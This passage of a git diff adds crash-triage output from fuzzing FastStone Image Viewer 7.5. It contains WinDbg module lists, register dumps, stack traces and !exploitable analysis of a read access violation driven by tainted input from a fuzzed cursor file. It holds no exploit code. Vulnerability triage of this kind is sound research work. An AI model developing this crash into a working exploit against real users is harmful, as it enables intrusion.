00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fb0.18cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=07e97b10 edx=00003879 esi=ffb30010 edi=0f7bcfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.64721e-005 -1.23906e-026 2.3774e+033 1.5576e-036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032e000 291cf028 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9eff803 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1FB0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1FB0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1fb0.18cc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=000fed2d ecx=07e97b10 edx=00003879 esi=ffb30010 edi=0f7bcfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.64721e-005 -1.23906e-026 2.3774e+033 1.5576e-036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0032e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0032e000 291cf028 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0032e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..31d8f91 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63869/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..78631f7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9d03994 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/65698/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1394: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 